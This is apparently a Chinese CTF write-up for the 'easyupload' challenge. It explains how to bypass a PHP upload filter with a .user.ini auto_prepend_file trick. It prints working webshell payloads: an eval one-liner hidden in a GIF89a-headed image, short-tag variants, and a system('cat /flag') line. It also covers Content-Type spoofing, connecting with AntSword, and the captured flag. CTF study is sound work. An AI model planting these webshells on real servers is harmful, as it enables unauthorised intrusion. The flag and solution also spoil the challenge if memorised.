题目:easyupload 难度:1
知识点:
上传漏洞,服务器防护绕过,后门,.user.ini,auto_prepend_file的使用
本服务器使用了FastCGI,我们要用.user.ini对我们上传的漏洞加以隐藏。
有时候我们进行文件上传的时候,站点不仅在前端做了白名单处理,还在后端做了黑名单处理以及文件类型的检验且服务器没有配置"AddType application/x-httpd-php .php .phtml",这时我们就不能通过简单的绕过前端验证修改数据包的Content-Type并将文件后缀改为phtml以此来利用文件上传漏洞。
所以我们要配置一个.user.ini文件,使我们上传的文件能顺利绕过防护,拿到shell权限。
auto_prepend_file如何是什么?
auto_prepend_file可以让同目录下所有的php文件自动的包含某个文件。
举例:
在user.ini文件中写入
auto_prepend_file=muma.jpg
然后再在muma.jpg中写入
<?php eval($_REQUEST['muma']); ?>
如此,.user.ini与muma.jpg所在同目录下的所有.php文件都会带有muma.jpg文件。
关于fastcgi绕过
简言之 有四个要点
检查文件内容是否有php字符
一句话木马里肯定不能有php字样, <?php @eval($_POST['mumapass']);?> 这种是不行的
可以用这种短标签绕过 <?=eval($_POST['mumapass']);?>
检查后缀中是否有htaccess或ph
上传.user.ini与正常的muma.jpg
检查文件头部信息
在文件头部添加一个图片的文件头来绕过
GIF89a
<?=eval($_REQUEST['muma']);?>
文件MIME类型
修改上传时的Content-Type
如上,是我在这题目中总结出的知识要点,如有错误,欢迎纠错。
以下,是我当时做题的完整思路
解题
步骤一
写一个一句话木马,上传,发现被服务器拒绝
更改为jpg格式,上传
提示文件类型有问题,说明文件内.php代码被检测到,所以我们需绕过。
步骤二
新建编写,user.ini.txt代码 结合上述知识点
GIF89a
auto_prepend_file=muma.jpg
新建编写muma.txt文件代码 结合上述知识点
GIF89a
<?=eval($_REQUEST['muma']);?>
步骤三 上传并使用burpsuite抓包
因为user.ini文件直接上传还是会被阻拦,所以得运用到上面知识点的抓包更改context type。
抓包后更改参数
更改后我们顺利把.user.ini配置文件上传(上面截图这里我删漏了一个.,因为我是以txt文件上唇然后删除.txt,没想到删漏了个点,大家不要盲抄我的)
然后我们继续把muma.jpg上传
如法炮制更改
步骤四 蚁剑!
右键界面选择add添加,访问你上传的路径
这里要注意:
你所访问的index.php应该是在upload目录下的,因为上传的.user.ini缘故,该index.php才拥有后门,才能从此进入。
然后就可以开始找flag,当然你也可以一开始就把muma.jpg里的代码改成cat,直接抓取flag,还省的自己找。<?=system(‘cat/flag’);?>
cyberpeace{8e2de650bf1a5585e7919636a04c10d3}